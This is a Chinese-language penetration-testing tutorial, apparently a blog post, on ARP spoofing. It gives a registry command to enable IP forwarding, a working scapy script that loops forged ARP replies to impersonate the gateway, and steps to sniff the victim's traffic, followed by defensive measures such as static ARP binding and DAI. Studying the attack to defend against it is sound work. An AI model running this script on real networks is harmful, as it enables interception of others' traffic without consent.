【PYTHON渗透测试实战学习之ARP欺骗】
ARP欺骗目的
简单说就是欺骗目标主机,将流量发给我。
实现原理
ARP协议是工作在链路层的协议,在局域网中,每一台主机都会有一个ARP表,表中是局域网各个主机IP与MAC地址的对应关系。本机的ARP表可以使用命令行查看:
ARP表:arp + -a
无身份认证:当一台设备收到一个ARP响应(即“我是IP X,我的MAC地址是Y”)时,它不会去验证发送者是否真的是IP X的所有者。它会无条件地信任并更新自己的ARP缓存表。
主动更新机制:设备甚至可以在没有发出请求的情况下,接收并相信主动推送过来的ARP响应包(也称为“免费ARP”)。
攻击者正是利用了这两点,可以轻易地向网络中的其他设备发送伪造的ARP响应包。
实例
一、开启IP转发
首先需要在本机开启IP转发,如果不开,目标主机在被欺骗后,只能发送消息,不能接受消息,那就没有意义了;开启后,我们将成为一个中间人,执行收发工作。
使用命令行修改:
以管理员身份运行命令提示符(CMD)或 PowerShell,执行以下命令
reg add HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /v IPEnableRouter /t REG_DWORD /d 1 /f
二、欺骗脚本
import uuid
from scapy.all import *
import os
def getselfMac():
mac=uuid.UUID(int = uuid.getnode()).hex[-12:]
print(mac)
return ":".join([mac[e:e+2] for e in range(0,11,2)])
def arpspoof():
gwIP = input('Please enter gateway IP:')
misleadingIP=input('Please enter misleading IP:')
mlmac=getmacbyip(misleadingIP)
eth = Ether(dst=mlmac)
arp = ARP(op=2,hwsrc=getselfMac(),psrc=gwIP,hwdst=mlmac,pdst=misleadingIP)
sendp(eth/arp, inter=2, loop=1)
arpspoof()
解释:
1、getselfMAC函数获取本机MAC地址,为什么这么复杂,因为通过这种方法获取到的MAC地址是以"-“为间隔,例"3c-ef-8c-6e-5d-81”,需要处理成为"3c:ef:8c:6e:5d:81"。
2、getmacbyip方法是scapy库的函数,用于获取对方IP的MAC地址。
3、发包,为什么会有这么多参数,我们可以用scapy库看下ARP包的参数

前面的4个是默认的不用管他,从op参数开始,后面就是我们需要更改的,
op – 1是请求,2是响应
hwsrc – 本机MAC地址
psrc – 本机IP
hwdst – 目标MAC地址
pdst – 目标IP
4、最后就是需要用以太帧发过去,因为它工作在链路层Ether。
三、运行脚本
冒充IP,一般为网关IP,gwIP
欺骗IP,目标IP,misleadingIP
持续发包
四、验证效果
成功的话,在本机或目标主机查看ARP表,就会显示网关MAC地址为本机的MAC地址,打开wireshark或者自己写一个嗅探脚本就能获取到目标的流量。
注意事项
ARP欺骗成功后,目标主机在进行数据交换过程中,会变得卡顿,这是因为你的主机现在成为了一个超大的数据中心,不仅需要处理你的流量,还要处理目标的流量。
在使用虚拟机进行试验时,还需要将虚拟机的网关改成你的IP地址,才能成功。
防范措施
一、终端层面。静态ARP绑定 在电脑上使用命令(如Windows下的 arp -s)将网关的IP和真实的MAC地址进行静态绑定,这样系统就不会接受伪造的ARP响应来更新这条记录。
二、安装ARP防火墙。使用如360、火绒等安全软件,它们内置的ARP防火墙可以监控网络中的ARP包,发现异常时会报警并拦截。
三、网络设备层面。启用动态ARP检测(DAI),在企业级交换机上配置DAI功能。交换机会检查所有ARP包的合法性,只允许合法的ARP响应通过,从根源上阻止欺骗。
四、配置端口安全。将交换机的端口与合法设备的MAC地址绑定,限制每个端口允许接入的MAC地址数量,防止攻击者接入网络。
五、通用建议。使用加密通信 尽量使用HTTPS、VPN等加密技术。即使流量被劫持,攻击者也无法解密和读取其中的敏感信息。
更多推荐
所有评论(0)